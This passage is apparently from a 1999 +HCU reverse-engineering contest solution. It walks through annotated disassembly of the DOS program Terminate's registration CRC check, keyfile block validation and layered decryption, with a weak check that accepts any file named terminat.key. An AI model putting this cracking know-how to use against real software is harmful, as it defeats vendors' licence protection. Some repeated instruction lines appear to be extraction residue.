[bp+var_DX_MAGIC] 87A8:2377 push [bp+var_AX_MAGIC] 87A8:237B pop bx 87A8:237C pop dx 87A8:237D pop

http://www.instinct.org/fravia/99solu/int0com.htm (1 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

cx 87A8:237E push dx 87A8:237F push bx 87A8:2380 xor bx, cx 87A8:2382 xor bh, bh 87A8:2384 shl bx, 1
87A8:2386 shl bx, 1 87A8:2388 add bx, word_192F_E320 87A8:238C mov ax, [bx] 87A8:238E mov cx, [bx+2]
87A8:2391 pop bx 87A8:2392 pop dx 87A8:2393 push cx 87A8:2394 mov cx, 8 87A8:2397 87A8:2397
loc_77A8_2397: ; CODE XREF: Check_reginfo+9 87A8:2397 shr dx, 1 87A8:2399 rcr bx, 1 87A8:239B loop
loc_77A8_2397 87A8:239D and dx, 0FFh 87A8:23A1 pop cx 87A8:23A2 xor ax, bx 87A8:23A4 mov bx, cx
87A8:23A6 xor dx, bx 87A8:23A8 mov [bp+var_AX_MAGIC], ax 87A8:23AC mov [bp+var_DX_MAGIC], dx

this code block is very often in Terminate. It checks CRC. ... ... So T calcs CRC for reginfo, which was read from terminate.exe
and then compare it with "ASCII" CRC written at offset 1615D1h-1615D9h ( it convert just calculated CRC into ASCII):
87A8:248C loc_77A8_248C: ; CODE XREF: Check_reginfo+17E j 87A8:248C mov ax, [bp+var_AX_MAGIC] 87A8:2490
mov dx, [bp+var_DX_MAGIC] 87A8:2494 xor ax, 34FFh 87A8:2497 xor dx, 12FFh 87A8:249B mov [bp+var_AX_MAGIC],
ax ; save just calculated CRC 87A8:249F mov [bp+var_DX_MAGIC], dx 87A8:24A3 lea di, [bp+var_340] 87A8:24A7 push ss
87A8:24A8 push di 87A8:24A9 push [bp+var_DX_MAGIC] 87A8:24AD push [bp+var_AX_MAGIC] 87A8:24B1 call
j_convert_32bit_to_ASCII ; originally: sub_139A_20 87A8:24B6 mov di, offset unk_192F_5870 87A8:24B9 push ds
87A8:24BA push di 87A8:24BB call @$bsub$qm6Stringt1 ; compare "ascii" crc from reginfo with just calculated 87A8:24C0
jz loc_77A8_24C5 ; = 87A8:24C2 jmp loc_77A8_27F5 ; if we go there - we have unreg. T 87A8:24C5
; 87A8:24C5
loc_77A8_24C5: ; CODE XREF: Check_reginfo+1B7 j 87A8:24C5 cmp byte_192F_587A, 0 ;if length of next 32bit "ASCII"
value 87A8:24CA jnz loc_77A8_24CF ;from reginfo doesnt = 0, then it exist 87A8:24CC jmp loc_77A8_25D4 ; and we go to
loc_77A8_24CF 87A8:24CF
; 87A8:24CF
loc_77A8_24CF: ; CODE XREF: Check_reginfo+1C1 j 87A8:24CF mov di, offset byte_192F_587A 87A8:24D2 push ds
87A8:24D3 push di 87A8:24D4 call j_Ascii_to_Hex 87A8:24D9 mov [bp+var_AX_MAGIC], ax 87A8:24DD mov
[bp+var_DX_MAGIC], dx 87A8:24E1 mov ax, [bp+var_AX_MAGIC] 87A8:24E5 mov dx, [bp+var_DX_MAGIC]
87A8:24E9 xor ax, 0FFFFh 87A8:24EC xor dx, 0D941h 87A8:24F0 mov [bp+var_AX_MAGIC], ax 87A8:24F4 mov
[bp+var_DX_MAGIC], dx 87A8:24F8 mov ax, [bp+var_AX_MAGIC] 87A8:24FC mov dx, [bp+var_DX_MAGIC]
87A8:2500 mov magic1_for_calc_xor_mask_1_word, ax 87A8:2503 mov magic2_for_calc_xor_mask_1_word, dx 87A8:2507
mov some_counter_for_CRC_calc_word?, 1 87A8:250D jmp short loc_77A8_2513 87A8:250F ;
87A8:250F loc_77A8_250F:
; CODE XREF: Check_reginfo+22E j 87A8:250F inc some_counter_for_CRC_calc_word? 87A8:2513 87A8:2513
loc_77A8_2513: ; CODE XREF: Check_reginfo+2 87A8:2513 mov ax, 100h 87A8:2516 push ax 87A8:2517 call
calc_xor_mask_1 ; part of encryption system ; this sub calculates mask for next xor operation. Originally its sub_10F1_2053
87A8:251C mov dx, ax 87A8:251E mov di, some_counter_for_CRC_calc_word 87A8:2522 mov al, [di+57A0h] ; take
encrypted byte 87A8:2526 xor ah, ah 87A8:2528 xor ax, dx ; decrypt with just calced mask 87A8:252A mov di,
some_counter_for_CRC_calc_word 87A8:252E mov [di+57A0h], al ; save decrypted byte instead encrypted one 87A8:2532
cmp some_counter_for_CRC_calc_word?, 32h ; 32h - length of one field of 87A8:2537 jnz loc_77A8_250F ; reginfo, e.g.
name. 87A8:2539 mov some_counter_for_CRC_calc_word?, 1 87A8:253F jmp short loc_77A8_2545 87A8:2541 ;
87A8:2541
loc_77A8_2541: ; CODE XREF: Check_reginfo+ 87A8:2541 inc some_counter_for_CRC_calc_word? .... and so on .... so, T
decrypts four parts of reginfo, i.e. name,addres,city,country. After that T "thinks" that its registered: 87A8:25D4
loc_77A8_25D4: ; CODE XREF: Check_reginfo+1C3 j 87A8:25D4 mov _pro_or_not_byte, 0BBh ; BB means registered
Terminate But then Terminate looks for terminat.key: 87A8:26CA loc_77A8_26CA: ; CODE XREF: Check_reginfo+3B1 j
87A8:26CA mov di, offset unk_192F_D1CC 87A8:26CD push ds 87A8:26CE push di 87A8:26CF mov di, offset
byte_192F_1806 87A8:26D2 push ds 87A8:26D3 push di 87A8:26D4 call @Assign$qm4Filem6String ; 87A8:26D9 mov di,
offset unk_192F_D1CC 87A8:26DC push ds 87A8:26DD push di 87A8:26DE mov ax, 1 87A8:26E1 push ax 87A8:26E2 call
@Reset$qm4File4Word ; open key file 87A8:26E7 call @IOResult$qv ; IOResult: Word{AX} 87A8:26EC or ax, ax
87A8:26EE jnz loc_77A8_271D 87A8:26F0 mov di, offset unk_192F_D1CC 87A8:26F3 push ds 87A8:26F4 push di
87A8:26F5 les di, dword_192F_46 87A8:26F9 push es 87A8:26FA push di 87A8:26FB mov ax, 0F41h ; read 3905 bytes of
key 87A8:26FE push ax 87A8:26FF xor ax, ax 87A8:2701 push ax 87A8:2702 push ax 87A8:2703 call
@BlockRead$qm4Filem3Any4Wordm4Word ; BlockRead 87A8:2708 mov di, offset unk_192F_D1CC 87A8:270B push ds
87A8:270C push di 87A8:270D call @Close$qm4File ; Close(var f: File) 87A8:2712 call @IOResult$qv ; IOResult:
Word{AX} 87A8:2717 mov file_pointer_word, ax 87A8:271A jmp loc_77A8_27F3 Here Terminate doesnt check key, it
simply opens it and tries to read 3905 bytes, you can put file of any content and length to Terminate directory and rename it to
"terminat.key" and Terminate won't reject it. Then Terminate returns from "Check_reginfo". Everything go to very different

http://www.instinct.org/fravia/99solu/int0com.htm (2 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

way when we have unregistered Terminate: ... 87A8:2344 call decrypt_string_and_verify_it 87A8:2349 call
@$bsub$qm6Stringt1 ; compare two magic strings: 06, ad, 5d, 47, 17, 20, 77 87A8:234E jz loc_77A8_2353 ; with one which
was read from terminat.exe 87A8:2350 jmp loc_77A8_2801 ; WE GO HERE, BECAUSE TERM UNREGISTERED ; and
therefore last byte =BD, not 77 ... 87A8:2801 loc_77A8_2801: ; CODE XREF: Check_reginfo+47 j 87A8:2801 cmp
byte_192F_52, 0 ; this byte =0 by default 87A8:2806 jnz loc_77A8_280D ; it sets to 1 only in "validate_key" 87A8:2808 push
bp 87A8:2809 push cs 87A8:280A call near ptr validate_key ; originaly sub_77A8_3FD ; This is key validating sub. I'll explain
how this sub works. It decrypts "key" string, appends it to "terminat." string antd tries to open file "terminat.key": 87A8:03FD
validate_key proc far ; CODE XREF: Check_reginfo+501 p .... vars 87A8:03FD 87A8:03FD push bp 87A8:03FE mov bp, sp
87A8:0400 sub sp, 366h 87A8:0404 mov [bp+var_FLAG_1_byte], 0 87A8:0408 lea di, [bp+var_206] 87A8:040C push ss
87A8:040D push di 87A8:040E mov di, offset byte_192F_153A 87A8:0411 push ds 87A8:0412 push di 87A8:0413 call
@$basg$qm6Stringt1 ; Load string 87A8:0418 lea di, [bp+var_106] 87A8:041C push ss 87A8:041D push di 87A8:041E lea di,
[bp+var_6] 87A8:0421 push ss 87A8:0422 push di 87A8:0423 mov di, offset aZ_2 ; offset of encrypted "key" 87A8:0426 push
cs 87A8:0427 push di 87A8:0428 call @$basg$qm6Stringt1 ; Load string 87A8:042D mov ax, 79C1h 87A8:0430 xor dx, dx
87A8:0432 push dx 87A8:0433 push ax 87A8:0434 mov ax, 2D79h 87A8:0437 mov dx, 0BABEh 87A8:043A push dx
87A8:043B push ax 87A8:043C call decrypt_string_and_verify_it ; decrypt string "key" 87A8:0441 call
@Concat$qm6Stringt1 ; Concat(dst, src: String): String 87A8:0446 mov di, offset unk_192F_58EA 87A8:0449 push ds
87A8:044A push di 87A8:044B mov ax, 45h ; 'E' 87A8:044E push ax 87A8:044F call @$basg$qm6Stringt14Byte ; Store
string 87A8:0454 mov byte_192F_52, 1 87A8:0459 mov di, offset unk_192F_58EA 87A8:0454 mov byte_192F_52, 1
87A8:0459 mov di, offset unk_192F_58EA 87A8:045C push ds 87A8:045D push di 87A8:045E mov ax, 20h ; ' ' 87A8:0461
push ax 87A8:0462 mov di, offset unk_192F_BF20 87A8:0465 push ds 87A8:0466 push di 87A8:0467 call
@FindFirst$q7PathStr4Wordm9SearchRec ; FindFirst 87A8:046C cmp word_192F_E482, 0 87A8:0471 jnz loc_77A8_481
87A8:0473 mov ax, word_192F_BF3A 87A8:0476 mov dx, word_192F_BF3C 87A8:047A mov word_192F_54, ax
87A8:047D mov word_192F_56, dx 87A8:0481 loc_77A8_481: ; CODE XREF: validate_key+74 j 87A8:0481 mov di,
[bp+arg_0] 87A8:0484 add di, 0FEFEh 87A8:0488 push ss 87A8:0489 push di 87A8:048A mov di, offset unk_192F_58EA
87A8:048D push ds 87A8:048E push di 87A8:048F call @Assign$qm4Filem6String ; Assign(var f: File; name: String)
87A8:0494 mov di, [bp+arg_0] 87A8:0497 add di, 0FEFEh 87A8:049B push ss 87A8:049C push di 87A8:049D mov ax, 20h ; '
' 87A8:04A0 push ax 87A8:04A1 call @SetFAttr$qm3Any4Word ; SetFAttr(Any &,Word) 87A8:04A6 call @IOResult$qv ;
IOResult: Word{AX} 87A8:04AB mov file_pointer_word, ax 87A8:04AE mov di, [bp+arg_0] 87A8:04B1 add di, 0FEFEh
87A8:04B5 push ss 87A8:04B6 push di 87A8:04B7 mov ax, 162h 87A8:04BA push ax 87A8:04BB call
@Reset$qm4File4Word ; open "terminat.key" 87A8:04C0 call @IOResult$qv ; IOResult: Word{AX} 87A8:04C5 mov
file_pointer_word, ax ; save filepointer 87A8:04C8 cmp file_pointer_word, 0 87A8:04CD jz loc_77A8_4D2 Then it begins to
read blocks of keyfile each 162h bytes long. Before that sub clears place for keyfile's block: 87A8:04D2 loc_77A8_4D2: ;
CODE XREF: validate_key+D0 j 87A8:04D2 mov ax, 162h 87A8:04D5 push ax 87A8:04D6 call @GetMem$q4Word ; Alloc
162h bytes 87A8:04DB mov di, [bp+arg_0] 87A8:04DE mov word ptr ss:[di+var_106], ax 87A8:04E3 mov word ptr
ss:[di+var_106+2], dx 87A8:04E8 mov ss:[di+var_AX_CRC32_MAGIC], 0FFFFh ; init CRC "seed" 87A8:04EF mov
ss:[di+var_DX_CRC32_MAGIC], 0FFFFh 87A8:04F6 xor ax, ax 87A8:04F8 mov ss:[di+var_12C], ax 87A8:04FD mov
ss:[di+var_12A], ax 87A8:0502 mov keyfile_loaded_blocks_counter_word, 1 ; counter of loaded 87A8:0508 jmp short
loc_77A8_50E ; keyfile's blocks 87A8:050A ;

87A8:050A 87A8:050A loc_77A8_50A: ; CODE XREF: validate_key+503 j 87A8:050A inc


keyfile_loaded_blocks_counter_word 87A8:050E loc_77A8_50E: ; CODE XREF: validate_key+10B j 87A8:050E mov di,
[bp+arg_0] 87A8:0511 les di, ss:[di+var_106] 87A8:0516 push es 87A8:0517 push di 87A8:0518 mov ax, 162h 87A8:051B
push ax 87A8:051C mov al, 0 ; fill memory with 00h 87A8:051E push ax 87A8:051F call @FillChar$qm3Any4Word4Byte ;
prepare place for key 87A8:0524 mov di, [bp+arg_0] 87A8:0527 add di, 0FEFEh 87A8:052B push ss 87A8:052C push di
87A8:052D mov di, [bp+arg_0] 87A8:0530 les di, ss:[di+var_106] 87A8:0535 push es 87A8:0536 push di 87A8:0537 call
@Read$qm4Filem3Any ;read curent block of keyfile 87A8:053C add sp, 4 87A8:053F call @IOResult$qv ; check for error
87A8:0544 mov word_192F_17D6, ax 87A8:0547 mov di, [bp+arg_0] It reads 11 blocks. It calcs CRC for every block. When
CRC for all 11 block calculated sub compares calculated CRC with one stored in last block of keyfile. Also there are some
"special" block of keyfile: block 1, block 2, block 4,block 5 and block 11. 87A8:054A les di, ss:[di+var_106] 87A8:054F seges
87A8:054F lea ax, [di+15Dh] ; end offset in kf's block to calc CRC for 87A8:0554 mov [bp+var_end_offset_of_CRC_calc?],
ax ; so, CRC calculated 87A8:0557 mov di, [bp+arg_0] ; for 0-15dh in each block 87A8:055A les di, ss:[di+var_106]
87A8:055F mov ax, di 87A8:0561 cmp ax, [bp+var_end_offset_of_CRC_calc?] 87A8:0564 ja loc_77A8_5D2 87A8:0566 mov
some_counter_for_CRC_calc_word?, ax 87A8:0569 jmp short loc_77A8_56F 87A8:056B ;
87A8:056B loc_77A8_56B: ;
CODE XREF: validate_key+1D3 j 87A8:056B inc some_counter_for_CRC_calc_word? 87A8:056F loc_77A8_56F: ; CODE

http://www.instinct.org/fravia/99solu/int0com.htm (3 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

XREF: validate_key+16C j 87A8:056F mov di, [bp+arg_0] 87A8:0572 les di, ss:[di+var_106] 87A8:0577 mov ax, es
87A8:0579 push ax 87A8:057A mov di, some_counter_for_CRC_calc_word? 87A8:057E pop es 87A8:057F mov al,
es:[di] 87A8:0582 push ax 87A8:0583 mov di, [bp+arg_0] 87A8:0586 push ss:[di+var_DX_CRC32_MAGIC]
87A8:058B push ss:[di+var_AX_CRC32_MAGIC] 87A8:0590 pop bx 87A8:0591 pop dx 87A8:0592 pop cx 87A8:0593
push dx 87A8:0594 push bx 87A8:0595 xor bx, cx 87A8:0597 xor bh, bh 87A8:0599 shl bx, 1 87A8:059B shl bx, 1
87A8:059D add bx, word_192F_E320 87A8:05A1 mov ax, [bx] 87A8:05A3 mov cx, [bx+2] 87A8:05A6 pop bx
87A8:05A7 pop dx 87A8:05A8 push cx 87A8:05A9 mov cx, 8 calc CRC 87A8:05AC loc_77A8_5AC: ; CODE
XREF: validate_key+1B3 j 87A8:05AC shr dx, 1 87A8:05AE rcr bx, 1 87A8:05B0 loop loc_77A8_5AC 87A8:05B2 and
dx, 0FFh 87A8:05B6 pop cx 87A8:05B7 xor ax, bx 87A8:05B9 mov bx, cx 87A8:05BB xor dx, bx 87A8:05BB xor dx,
bx 87A8:05BD mov di, [bp+arg_0] 87A8:05C0 mov ss:[di+var_AX_CRC32_MAGIC], ax ; store CRC 87A8:05C5 mov
ss:[di+var_DX_CRC32_MAGIC], dx 87A8:05CA mov ax, some_counter_for_CRC_calc_word? 87A8:05CD cmp ax,
[bp+var_end_offset_of_CRC_calc?] ; enough? 87A8:05D0 jnz loc_77A8_56B ; if no, again 87A8:05D2 Block 1
checked for bytes 46h,2Fh,2Eh at offsets 0bh, 1bh , 14h because there is old keygenerator for Terminate version 1 or even
earlier (I dont remember now, I saw this keygen one day) and this keygen creates key with string at block 1 like "Terminate
HAKE-KEY for all outlaws all around the world". So now Terminate checks for this header. 87A8:05D2 loc_77A8_5D2: ;
CODE XREF: validate_key+167 j 87A8:05D2 cmp keyfile_loaded_blocks_counter_word, 1 87A8:05D7 jnz loc_77A8_63B
87A8:05D9 mov di, [bp+arg_0] 87A8:05DC les di, ss:[di+var_106] 87A8:05E1 mov ax, es 87A8:05E3 push ax 87A8:05E4
mov di, [bp+arg_0] 87A8:05E7 les di, ss:[di+var_106] 87A8:05EC seges 87A8:05EC lea di, [di+0Bh] ; here it begins to check
first block of keyfile 87A8:05F0 pop es 87A8:05F1 cmp byte ptr es:[di], 46h ; 'F' 87A8:05F5 jnz loc_77A8_638 ; 87A8:05F7
mov di, [bp+arg_0] 87A8:05FA les di, ss:[di+var_106] 87A8:05FF mov ax, es 87A8:0601 push ax 87A8:0602 mov di,
[bp+arg_0] 87A8:0605 les di, ss:[di+var_106] 87A8:060A seges 87A8:060A lea di, [di+1Bh] 87A8:060E pop es 87A8:060F
cmp byte ptr es:[di], 2Fh ; '/' 87A8:0613 jnz loc_77A8_638 87A8:0615 mov di, [bp+arg_0] 87A8:0618 les di, ss:[di+var_106]
87A8:0613 jnz loc_77A8_638 87A8:0615 mov di, [bp+arg_0] 87A8:0618 les di, ss:[di+var_106] 87A8:061D mov ax, es
87A8:061F push ax 87A8:0620 mov di, [bp+arg_0] 87A8:0623 les di, ss:[di+var_106] 87A8:0628 seges 87A8:0628 lea di,
[di+14h] 87A8:062C pop es 87A8:062D cmp byte ptr es:[di], 2Eh ; '.' 87A8:0631 jnz loc_77A8_638 87A8:0633 call
sub_2A8_4D ; here T display error msg, like "Runtime error..." ; and gives choice: reboot or return to dos 87A8:0638
loc_77A8_638: ; CODE XREF: validate_key+1F8 j validate_key+216 87A8:0638 jmp loc_77A8_8F9 Block 2: if first 5 bytes
of this block = each other , then Terminate adjusts current CRC values: 87A8:06E5 mov di, [bp+arg_0] 87A8:06E8 add
ss:[di+var_AX_CRC32_MAGIC], 329h 87A8:06EF adc ss:[di+var_DX_CRC32_MAGIC], 0 Block 4 is a core of keyfile. It
contains encrypted reginfo and several very important values. I'll explain this later. Block 5 is also very important for us. It
contains values which used to verify if key valid: 87A8:06F8 cmp keyfile_loaded_blocks_counter_word, 5 ; block 5 ?
87A8:06FD jz loc_77A8_702 ; yes 87A8:06FF jmp loc_77A8_79F 87A8:0702 ;

87A8:0702 loc_77A8_702: ; CODE XREF: validate_key+300 j 87A8:0702 mov di, [bp+arg_0] 87A8:0705 les di,
ss:[di+var_106] 87A8:070A mov ax, es:[di+15Eh] ; in AX - 16 bit value from offset 15e of block 5 87A8:070F mov dx,
es:[di+160h] ; in DX - 16 bit value from offset 160 of block 5 87A8:0714 call @Real$q7Longint ; Real(x: Longint{DX:AX}):
Real 87A8:0719 mov di, [bp+arg_0] ; call above convert 32bit value from ax:dx 87A8:071C mov ss:[di+var_temp_AX], ax ; to
48 bit real value in ax:bx:dx 87A8:0721 mov ss:[di+var_temp_BX], bx 87A8:0726 mov ss:[di+var_temp_DX], dx It was very
hard for me to understand what the hell is that, because I didn't know Pascal and that kind of floating point format. So I found
good old ;-) Turbo Pascal 6.0 for DOS, took book from friend and learned some Pascal. I wrote several smalls programms in
Pascal which use floating points numbers, perform some operations with them, and I look at these programms in IDA. It was
great help. I began to understand whats going on and how to handle those ax:bx:dx stuffs. I wrote little programm on Pascal
which convert hex values from ax,bx,dx into floating point number, and several small programs to perform math operations
with values from ax,bx,dx, i.e. I enter values1 from ax,bx,dx, then value2 from ax,bx,dx and my program returns me result as
floating point number. So I converted all such numbers from Terminate and commented them in IDA. 87A8:072B mov ax,
ss:[di+var_temp_AX] ; converted to real value 87A8:0730 mov bx, ss:[di+var_temp_BX] ; "magic" from block5 87A8:0735
mov dx, ss:[di+var_temp_DX]; will be compare 87A8:073A xor cx, cx ; with 0 87A8:073C xor si, si 87A8:073E xor di, di
87A8:0740 call @__Cmp$q4Realt1 ; So terminate checks if "magic" from block 5 is below zero 87A8:0745 jnb loc_77A8_778
; jump here if "magic" is above zero 87A8:0747 mov di, [bp+arg_0] 87A8:074A mov ax, ss:[di+var_temp_AX] ; else T gonna
change sign 87A8:074F mov bx, ss:[di+var_temp_BX] ; of that "magic" 87A8:0754 mov dx, ss:[di+var_temp_DX] 87A8:0759
mov cx, 81h ; this means -1 87A8:075C xor si, si ; 87A8:075E mov di, 8000h 87A8:0761 call @$brmul$q4Realt1 ; magic*=-1;
87A8:0766 mov di, [bp+arg_0] 87A8:0769 mov ss:[di+var_temp_AX], ax ; store "magic" 87A8:076E mov
ss:[di+var_temp_BX], bx 87A8:0773 mov ss:[di+var_temp_DX], dx 87A8:0778 loc_77A8_778: ; CODE XREF:
validate_key+348 j 87A8:0778 mov di, [bp+arg_0] 87A8:077B mov ax, ss:[di+var_temp_AX] 87A8:0780 mov bx,
ss:[di+var_temp_BX] 87A8:0785 mov dx, ss:[di+var_temp_DX] 87A8:078A mov di, [bp+arg_0] 87A8:078D mov

http://www.instinct.org/fravia/99solu/int0com.htm (4 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

ss:[di+var_real_AX_bl5], ax ; move "magic" from temp vars 87A8:0792 mov ss:[di+var_real_BX_bl5], bx ; into their
permanet loc 87A8:0797 mov ss:[di+var_real_DX_bl5], dx 87A8:079C jmp loc_77A8_8F9 ; go ot check if all blocks of keyfile
loaded? Block 11: if 5 bytes at offsets 12c,12d,12e,12f,130 = each other then Term. adjusts current CRC values: 87A8:0850
mov di, [bp+arg_0] 87A8:0853 add ss:[di+var_AX_CRC32_MAGIC], 192h 87A8:085A adc
ss:[di+var_DX_CRC32_MAGIC], 0 Also this block checked for bytes DC,64,D9,E9 at offsets 15a,15b,15c,15d because that
old "HAKE-KEY" keygen writes these bytes in every key it produces. Also this block contains global CRC of keyfile at offsets
15eh,160h and T compares calculated CRC with one stored in block 11: 87A8:08E1 ; validate_key+4BE j validate_key+4DD j
87A8:08E1 mov di, [bp+arg_0] 87A8:08E4 mov ss:[di+var_11C], 4890h ; 57544.23 87A8:08EB mov ss:[di+var_11A], 3AE1h
; this value used furhter 87A8:08F2 mov ss:[di+var_118], 60C8h ; I'll explain it later 87A8:08F9 87A8:08F9 loc_77A8_8F9: ;
CODE XREF: validate_key+23B j validate_key+2F 87A8:08F9 ; validate_key+39F j validate_key+3A9 j 87A8:08F9 cmp
keyfile_loaded_blocks_counter_word, 0Bh ; last block ? 87A8:08FE jz loc_77A8_903 ; yes 87A8:0900 jmp loc_77A8_50A ;
else again 87A8:0903 ;

87A8:0903 87A8:0903 loc_77A8_903: ; CODE XREF: validate_key+501 j 87A8:0903 mov di, [bp+arg_0] 87A8:0906 mov
ax, ss:[di+var_AX_CRC32_MAGIC] ; take just calced CRC 87A8:090B mov dx, ss:[di+var_DX_CRC32_MAGIC]
87A8:0910 les di, ss:[di+var_106] ; di=0 87A8:0915 cmp dx, es:[di+160h] ; here is compares calculated CRC with one ; stored
in block 11 of kf 87A8:091A jnz loc_77A8_92A ; this jump means "damaged key" 87A8:091C cmp ax, es:[di+15Eh]
87A8:0921 jnz loc_77A8_92A ; this jump means "damaged key" 87A8:0923 cmp word_192F_17D6, 0 ; this flag =1 when kf
opened successfuly 87A8:0928 jz loc_77A8_92D 87A8:092A loc_77A8_92A: ; CODE XREF: validate_key+51D j
validate_key+52 87A8:092A jmp loc_77A8_22A7 ; this jump means "damaged key" After T completed first check of keyfile,
it begins to decrypt main block - block 4: 87A8:092D loc_77A8_92D: ; CODE XREF: validate_key+52B j 87A8:092D mov di,
[bp+arg_0] 87A8:0930 mov ax, ss:[di+var_AX_CRC32_MAGIC] 87A8:0935 mov dx, ss:[di+var_DX_CRC32_MAGIC]
87A8:093A mov CRC_AX_WORD, ax 87A8:093D mov CRC_DX_WORD, dx 87A8:0941 add di, 0FEFEh 87A8:0945 push
ss 87A8:0946 push di ; close keyfile 87A8:0947 call @Close$qm4File ; Close(var f: File) 87A8:094C call @__IOCheck$qv ;
Exit if error 87A8:0951 mov di, [bp+arg_0] 87A8:0954 add di, 0FEFEh 87A8:0958 push ss 87A8:0959 push di 87A8:095A
mov ax, 162h 87A8:095D push ax 87A8:095E call @Reset$qm4File4Word ; open it again 87A8:0963 call @__IOCheck$qv ;
Exit if error 87A8:0968 mov some_counter_for_CRC_calc_word?, 1 87A8:096E jmp short loc_77A8_974 87A8:0970 ;

87A8:0970 loc_77A8_970: ; CODE XREF: validate_key+59C j 87A8:0970 inc some_counter_for_CRC_calc_word?


87A8:0974 loc_77A8_974: ; CODE XREF: validate_key+571 j 87A8:0974 mov di, [bp+arg_0] 87A8:0977 add di, 0FEFEh
87A8:097B push ss 87A8:097C push di 87A8:097D mov di, [bp+arg_0] 87A8:0980 les di, ss:[di+var_106] 87A8:0985 push es
87A8:0986 push di 87A8:0987 call @Read$qm4Filem3Any ; Read block 87A8:098C add sp, 4 87A8:098F call
@__IOCheck$qv ; Exit if error 87A8:0994 cmp some_counter_for_CRC_calc_word?, 4 ; we need block 4 87A8:0999 jnz
loc_77A8_970 ; rather stupid way to get block 4 87A8:099B mov di, [bp+arg_0] ; T doesnt wanna use Seek function
87A8:099E add di, 0FEFEh ; it prefer to read blocks of keyfile 87A8:09A2 push ss ; until block 4 reached 87A8:09A3 push di
87A8:09A4 call @Close$qm4File ; Close(var f: File) 87A8:09A9 call @__IOCheck$qv ; Exit if error 87A8:09AE mov di,
[bp+arg_0] 87A8:09B1 les di, ss:[di+var_106] 87A8:09B6 seges 87A8:09B6 lea ax, [di+161h] 87A8:09BB mov
[bp+var_end_offset_of_CRC_calc?], ax 87A8:09BE mov di, [bp+arg_0] 87A8:09C1 les di, ss:[di+var_106] 87A8:09C6 seges
87A8:09C6 lea ax, [di+5Bh] 87A8:09CA cmp ax, [bp+var_end_offset_of_CRC_calc?] 87A8:09CD ja loc_77A8_A0A
87A8:09CF mov some_counter_for_CRC_calc_word?, ax 87A8:09D2 jmp short loc_77A8_9D8 87A8:09D4 ;
Then T
begins to decrypt block 4 ( not whole block, only 5b-161h range). It encrypted 4 times (nice, isn't it ;-) First, simple xor with
FF: 87A8:09D8 loc_77A8_9D8: ; CODE XREF: validate_key+5D5 j 87A8:09D8 mov di, [bp+arg_0] 87A8:09DB les di,
ss:[di+var_106] 87A8:09E0 mov ax, es 87A8:09E2 push ax 87A8:09E3 mov di, some_counter_for_CRC_calc_word?
87A8:09E7 pop es 87A8:09E8 mov al, es:[di] 87A8:09EB xor al, 0FFh ; decrypt byte 87A8:09ED mov dl, al 87A8:09EF mov
di, [bp+arg_0] 87A8:09F2 les di, ss:[di+var_106] 87A8:09F7 mov ax, es 87A8:09F9 push ax 87A8:09FA mov di,
some_counter_for_CRC_calc_word? 87A8:09FE pop es 87A8:09FF mov es:[di], dl 87A8:0A02 mov ax,
some_counter_for_CRC_calc_word? 87A8:0A05 cmp ax, [bp+var_end_offset_of_CRC_calc?] 87A8:0A08 jnz loc_77A8_9D4
Then goes more complex decryption which calculates dexor mask for every byte. For this it uses sub "calc_xor_mask_1":
20F1:2053 calc_xor_mask_1 proc far 20F1:2053 arg_0= word ptr 6 20F1:2053 push bp 20F1:2054 mov bp, sp 20F1:2056 mov
ax, magic1_for_calc_xor_mask_1_word ; some kind of "seed" 20F1:2059 mov bx, magic2_for_calc_xor_mask_1_word
20F1:205D mov cx, ax 20F1:205F mul word_192F_12BC 20F1:2063 shl cx, 1 20F1:2065 shl cx, 1 20F1:2067 shl cx, 1
20F1:2069 add ch, cl 20F1:206B add dx, cx 20F1:206D add dx, bx 20F1:206F shl bx, 1 20F1:2071 shl bx, 1 20F1:2073 add dx,
bx 20F1:2075 add dh, bl 20F1:2077 mov cl, 5 20F1:2079 shl bx, cl 20F1:207B add dh, bl 20F1:207D add ax, 1 20F1:2080 adc
dx, 0 20F1:2083 mov magic1_for_calc_xor_mask_1_word, ax 20F1:2086 mov magic2_for_calc_xor_mask_1_word, dx

http://www.instinct.org/fravia/99solu/int0com.htm (5 of 25) [2/7/2001 2:58:14 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

20F1:208A xor ax, ax 20F1:208C mov bx, [bp+arg_0] 20F1:208F or bx, bx 20F1:2091 jz loc_10F1_2097 20F1:2093 xchg ax,
dx 20F1:2094 div bx 20F1:2096 xchg ax, dx 20F1:2097 loc_10F1_2097: ; CODE XREF: calc_xor_mask_1+3E j 20F1:2097
pop bp 20F1:2098 retf 2 20F1:2098 calc_xor_mask_1 endp So, for second decryption T uses values 7,0 as seed for
"calc_xor_mask1": 87A8:0A0A loc_77A8_A0A: ; CODE XREF: validate_key+5D0 j 87A8:0A0A mov
magic1_for_calc_xor_mask_1_word, 7 ; init mask "seed" 87A8:0A10 mov magic2_for_calc_xor_mask_1_word, 0 87A8:0A16
mov di, [bp+arg_0] 87A8:0A19 les di, ss:[di+var_106] 87A8:0A1E seges 87A8:0A1E lea ax, [di+161h] ; set end offset for
decrypting - 161h 87A8:0A23 mov [bp+var_end_offset_of_CRC_calc?], ax 87A8:0A26 mov di, [bp+arg_0] 87A8:0A29 les di,
ss:[di+var_106] 87A8:0A2E seges 87A8:0A2E lea ax, [di+5Bh] ; set begining offset for decrypting - 5bh 87A8:0A32 cmp ax,
[bp+var_end_offset_of_CRC_calc?] 87A8:0A35 ja loc_77A8_A7F 87A8:0A37 mov some_counter_for_CRC_calc_word?, ax
87A8:0A3A jmp short loc_77A8_A40 87A8:0A3C ;
87A8:0A3C
loc_77A8_A3C: ; CODE XREF: validate_key+680 j 87A8:0A3C inc some_counter_for_CRC_calc_word? 87A8:0A40
loc_77A8_A40: ; CODE XREF: validate_key+63D j 87A8:0A40 mov ax, 100h ; arg for sub below 87A8:0A43 push ax
87A8:0A44 call calc_xor_mask_1 ; calculates xor mask 87A8:0A49 mov dx, ax 87A8:0A4B mov di, [bp+arg_0] 87A8:0A4E
les di, ss:[di+var_106] 87A8:0A53 mov ax, es 87A8:0A55 push ax 87A8:0A56 mov di, some_counter_for_CRC_calc_word?
